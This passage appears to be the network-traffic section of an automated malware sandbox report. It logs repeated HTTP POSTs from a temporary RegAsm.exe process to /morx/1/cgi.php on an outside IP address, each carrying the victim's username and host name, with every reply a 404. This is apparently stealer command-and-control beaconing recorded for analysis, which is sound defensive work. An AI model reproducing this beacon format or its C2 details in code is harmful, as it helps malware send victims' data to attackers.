Jan 5, 2021 19:06:31.605285883 CET	1221	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:31.697483063 CET	1221	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:30 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.22	49228	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:31.903232098 CET	1222	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:31.964823008 CET	1222	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:32.053069115 CET	1223	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:31 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.22	49229	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:32.262785912 CET	1223	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:32.324218988 CET	1223	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:32.426687956 CET	1224	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:31 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.22	49230	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:32.647726059 CET	1225	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:32.717231035 CET	1225	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:32.815516949 CET	1225	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:31 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.22	49231	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:33.031393051 CET	1226	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:33.105528116 CET	1226	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:33.190809965 CET	1226	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:32 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.22	49232	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:33.398943901 CET	1227	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:33.465138912 CET	1227	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:33.560619116 CET	1228	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:32 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.22	49233	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:33.770155907 CET	1229	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:33.839715004 CET	1229	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:33.939742088 CET	1229	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:33 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.22	49234	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:34.165365934 CET	1230	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:34.246052027 CET	1230	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:34.334827900 CET	1230	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:33 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.22	49235	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:34.564013004 CET	1231	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:34.636512041 CET	1231	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:34.721364021 CET	1232	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:33 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.22	49236	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:34.935154915 CET	1232	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:35.011723995 CET	1233	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:35.122327089 CET	1233	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:34 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.22	49174	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:10.067265987 CET	1151	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:10.136713982 CET	1151	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:10.236854076 CET	1151	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:09 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.22	49237	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:35.342015982 CET	1234	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:35.417776108 CET	1234	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:35.512182951 CET	1234	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:34 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.22	49238	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:35.726449013 CET	1235	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:35.793070078 CET	1235	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:35.894052029 CET	1236	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:34 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.22	49239	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:36.098104954 CET	1236	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:36.168203115 CET	1237	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:36.277201891 CET	1237	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:35 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.22	49240	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:36.491085052 CET	1238	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:36.558549881 CET	1238	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:36.657366991 CET	1238	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:35 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.22	49241	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:36.879807949 CET	1239	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:36.949330091 CET	1239	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:37.043514013 CET	1240	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:36 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.22	49242	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:37.256016970 CET	1240	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:37.324479103 CET	1241	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:37.425204039 CET	1241	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:36 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.22	49243	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:37.635343075 CET	1242	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:37.714823008 CET	1242	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:37.804227114 CET	1242	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:36 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.22	49244	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:38.018240929 CET	1243	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:38.089756966 CET	1243	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:38.186780930 CET	1244	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:37 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.22	49245	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:38.389239073 CET	1244	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:38.464616060 CET	1245	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:38.563167095 CET	1245	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:37 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.22	49246	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:38.784643888 CET	1246	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
